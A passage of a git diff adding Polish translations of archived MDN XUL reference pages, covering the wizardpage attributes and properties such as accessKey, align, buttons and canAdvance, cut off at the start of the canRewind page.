+ Ustawia <code id="a-pageid"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageid">pageid</a></code> następnej strony znajdującą się zaraz po tej. Kiedy ustawimy stronę z własnością pageID jest ona wyświetlona kiedy przycisk Dalej jest naciśnięty. Może być użyty do tworzenia kreatorów, które nie posiadają liniowej kolejności. Jeśli jedna ze stron posiada atrybut <code>next</code>, to będą posiadały go także wszystkie pozostałe oprócz ostatniej strony.</dd>
+</dl></div>
+<div id="p-pageid">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/pageid">pageid</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id łańcucha znaków <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+ </dd>
+ <dd>
+ Ten atrybut powinien być ustawiony na łańcuch znaków, który identyfikuje strony identyfikatorem <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>. Jest stosowany z atrybutem <code id="a-next"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/next">next</a></code>. Kreator zawsze startuje z <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code>, który pojawia się pierwszy na liście potomnych kreatora.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p><a href="pl/XUL/wizard">wizard</a>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/accessible/index.html b/files/pl/mozilla/tech/xul/własność/accessible/index.html
new file mode 100644
index 0000000000..cc58a76cab
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/accessible/index.html
@@ -0,0 +1,20 @@
+---
+title: accessible
+slug: Mozilla/Tech/XUL/Własność/accessible
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/accessible
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/accesskey/index.html b/files/pl/mozilla/tech/xul/własność/accesskey/index.html
new file mode 100644
index 0000000000..fa4ff0a3b3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/accesskey/index.html
@@ -0,0 +1,20 @@
+---
+title: accessKey
+slug: Mozilla/Tech/XUL/Własność/accessKey
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/accessKey
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/accessKey">accessKey</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ znak</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/align/index.html b/files/pl/mozilla/tech/xul/własność/align/index.html
new file mode 100644
index 0000000000..8db38eb9af
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/align/index.html
@@ -0,0 +1,20 @@
+---
+title: align
+slug: Mozilla/Tech/XUL/Własność/align
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/align
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/allowevents/index.html b/files/pl/mozilla/tech/xul/własność/allowevents/index.html
new file mode 100644
index 0000000000..b3ab5c7671
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/allowevents/index.html
@@ -0,0 +1,20 @@
+---
+title: allowEvents
+slug: Mozilla/Tech/XUL/Własność/allowEvents
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/allowEvents
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/alwaysopenpopup/index.html b/files/pl/mozilla/tech/xul/własność/alwaysopenpopup/index.html
new file mode 100644
index 0000000000..68a0ec17ac
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/alwaysopenpopup/index.html
@@ -0,0 +1,20 @@
+---
+title: alwaysOpenPopup
+slug: Mozilla/Tech/XUL/Własność/alwaysOpenPopup
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/alwaysOpenPopup
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/alwaysOpenPopup">alwaysOpenPopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-alwaysopenpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/alwaysopenpopup">alwaysopenpopup</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/amindicator/index.html b/files/pl/mozilla/tech/xul/własność/amindicator/index.html
new file mode 100644
index 0000000000..edf2ecf66b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/amindicator/index.html
@@ -0,0 +1,13 @@
+---
+title: amIndicator
+slug: Mozilla/Tech/XUL/Własność/amIndicator
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/amIndicator
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/amIndicator">amIndicator</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość łańcucha znaków wyświetlana dla godzin pomiędzy północą a południem, domyślnie jest to AM. Ta wartość określa się w zależności od czasu lokalnego użytkownika. </dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/applocale/index.html b/files/pl/mozilla/tech/xul/własność/applocale/index.html
new file mode 100644
index 0000000000..81a5214ff3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/applocale/index.html
@@ -0,0 +1,25 @@
+---
+title: appLocale
+slug: Mozilla/Tech/XUL/Własność/appLocale
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/appLocale
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/appLocale">appLocale</a></span></code></dt>
+ <dd>
+ Typ: <i><a href="pl/NsILocale">nsILocale</a></i></dd>
+ <dd>
+ Zwraca obiekt XPCOM, który przechowuje informacje o lokalnych użytkownikach. To jest obiekt, który implementuje <a href="pl/NsILocale">nsILocale</a>.</dd>
+</dl>
+
+
+<div class="noinclude">
+ <p></p><div class="blockIndicator geckoMinVer standardNote">
+ <div style="text-align: center; font-weight: bold; padding-bottom: 0.5em;">Gecko 1.9.1 note</div>
+ <div>This property was removed in Gecko 1.9.1.</div>
+</div><p></p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/autocheck/index.html b/files/pl/mozilla/tech/xul/własność/autocheck/index.html
new file mode 100644
index 0000000000..6ba8093107
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/autocheck/index.html
@@ -0,0 +1,20 @@
+---
+title: autoCheck
+slug: Mozilla/Tech/XUL/Własność/autoCheck
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/autoCheck
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/autoCheck">autoCheck</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-autoCheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoCheck">autoCheck</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/autofill/index.html b/files/pl/mozilla/tech/xul/własność/autofill/index.html
new file mode 100644
index 0000000000..8c742f9cff
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/autofill/index.html
@@ -0,0 +1,20 @@
+---
+title: autoFill
+slug: Mozilla/Tech/XUL/Własność/autoFill
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/autoFill
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/autoFill">autoFill</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-autoFill"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoFill">autoFill</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/autofillaftermatch/index.html b/files/pl/mozilla/tech/xul/własność/autofillaftermatch/index.html
new file mode 100644
index 0000000000..195fa2dd3e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/autofillaftermatch/index.html
@@ -0,0 +1,20 @@
+---
+title: autoFillAfterMatch
+slug: Mozilla/Tech/XUL/Własność/autoFillAfterMatch
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/autoFillAfterMatch
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/autoFillAfterMatch">autoFillAfterMatch</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-autoFillAfterMatch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoFillAfterMatch">autoFillAfterMatch</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/browser.preferences/index.html b/files/pl/mozilla/tech/xul/własność/browser.preferences/index.html
new file mode 100644
index 0000000000..751f2f2c51
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/browser.preferences/index.html
@@ -0,0 +1,16 @@
+---
+title: browser.preferences
+slug: Mozilla/Tech/XUL/Własność/browser.preferences
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/browser.preferences
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/browser.preferences">preferences</a>
+</dt><dd> Typ: <i><a href="pl/NsIPrefService">nsIPrefService</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt <a href="pl/NsIPref">nsIPref</a> służący do pobierania i ustawiania właściwości użytkownika.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/browsers/index.html b/files/pl/mozilla/tech/xul/własność/browsers/index.html
new file mode 100644
index 0000000000..59c70ecd42
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/browsers/index.html
@@ -0,0 +1,20 @@
+---
+title: browsers
+slug: Mozilla/Tech/XUL/Własność/browsers
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/browsers
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/browsers">browsers</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista (nodelist) elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code></i>
+ </dd>
+ <dd>
+ Przechowuje listę elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code> wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/tabbrowser" title="tabbrowser">tabbrowser</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/builderview/index.html b/files/pl/mozilla/tech/xul/własność/builderview/index.html
new file mode 100644
index 0000000000..ba77e41544
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/builderview/index.html
@@ -0,0 +1,20 @@
+---
+title: builderView
+slug: Mozilla/Tech/XUL/Własność/builderView
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/builderView
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builderView">builderView</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIXULTreeBuilder">nsIXULTreeBuilder</a></i>
+ </dd>
+ <dd>
+ Referencja do budowniczego drzewa, który konstruuje dane <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>. Budowniczy dostarcza dostęp do źródeł RDF dla każdego wiersza w drzewie i pozwala sortować danymi w kolumnie. W nowszej wersji Mozilli, własność <code>builderView</code> jest aktualnie synonimem dla własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/view">view</a></span></code>, od dwóch interfejsów są spłaszczone razem aż do pojedynczego interfejsu w <a href="pl/JavaScript">JavaScript</a>. Ta własność jest tylko do odczytu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/buttons/index.html b/files/pl/mozilla/tech/xul/własność/buttons/index.html
new file mode 100644
index 0000000000..065063d36c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/buttons/index.html
@@ -0,0 +1,22 @@
+---
+title: buttons
+slug: Mozilla/Tech/XUL/Własność/buttons
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/buttons
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/buttons">buttons</a></span></code>
+</dt><dd> Typ: <i>rozdzielona przecinkami lista poniższych wartości</i>
+</dd><dd> Rozdzielona przecinkami lista przycisków do wyświetlenia w okienku dialogowym. Przyciski zostaną umieszczone w odpowiednim miejscu w zależności od platformy systemowej użytkownika, a podstawowa obsługa zdarzeń zostanie wykonana automatycznie. Następujące wartości mogą zostać użyte w tej liście:
+</dd></dl>
+<ul><li> <code>accept</code>: Przycisk OK, który będzie akceptował zmiany po naciśnięciu. Ten przycisk będzie także przyciskiem domyślnym. </li><li> <code>cancel</code>: Przycisk Anuluj, który będzie anulował operację.
+</li><li> <code>help</code>: Przycisk Pomoc służący do wyświetlenia okienka pomocy.
+</li><li> <code>disclosure</code>: Przycisk pokazujący więcej informacji. Może być to przycisk lub trójkąt rozwijający.
+</li><li> <code>extra1</code>: Opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra1">buttonlabelextra1</a></code></code>.
+</li><li> <code>extra2</code>: Drugi opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra2">buttonlabelextra2</a></code></code>.
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/canadvance/index.html b/files/pl/mozilla/tech/xul/własność/canadvance/index.html
new file mode 100644
index 0000000000..b197f35829
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/canadvance/index.html
@@ -0,0 +1,20 @@
+---
+title: canAdvance
+slug: Mozilla/Tech/XUL/Własność/canAdvance
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/canAdvance
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/canAdvance">canAdvance</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ta własność jest ustawiona na <code>true</code>, jeśli użytkownik naciśnie przycisk 'Dalej', aby przejść do następnej strony. Jeśli ta własność jest ustawiona na <code>false</code>, użytkownik nie może przejść do następnej strony. Ustaw tą własność na <code>true</code>, aby zasygnalizować, że użytkownik może przejść do następnej strony. Ustawiając własność na <code>false</code>, przejście do następnej strony zostanie odrzucone (zabronione). Możemy to zobaczyć poprzez włączony lub wyłączony przycisk 'Dalej' lub na ostatniej stronie kreatora będzie umieszczony przycisk 'Zakończ'.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/cangoback/index.html b/files/pl/mozilla/tech/xul/własność/cangoback/index.html
new file mode 100644
index 0000000000..0e0741fc01
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/cangoback/index.html
@@ -0,0 +1,14 @@
+---
+title: canGoBack
+slug: Mozilla/Tech/XUL/Własność/canGoBack
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/canGoBack
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/canGoBack">canGoBack</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Własność tylko do odczytu ma wartość <code>true</code>, jeśli istnieje strona w historii sesji, do której można się cofnąć, a przycisk 'Wstecz' powinien być dostępny.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/cangoforward/index.html b/files/pl/mozilla/tech/xul/własność/cangoforward/index.html
new file mode 100644
index 0000000000..b98dd04cd9
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/cangoforward/index.html
@@ -0,0 +1,20 @@
+---
+title: canGoForward
+slug: Mozilla/Tech/XUL/Własność/canGoForward
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/canGoForward
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/canGoForward">canGoForward</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Własność tylko do odczytu ma wartość <code>true</code>, jeśli istnieje strona w historii sesji, do której można przejść, a przycisk 'Do przodu' powinien być dostępny.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/canrewind/index.html b/files/pl/mozilla/tech/xul/własność/canrewind/index.html
new file mode 100644
index 0000000000..f02fb7fdba
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/canrewind/index.html
@@ -0,0 +1,14 @@
+---
+title: canRewind
+slug: Mozilla/Tech/XUL/Własność/canRewind
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/canRewind
+---
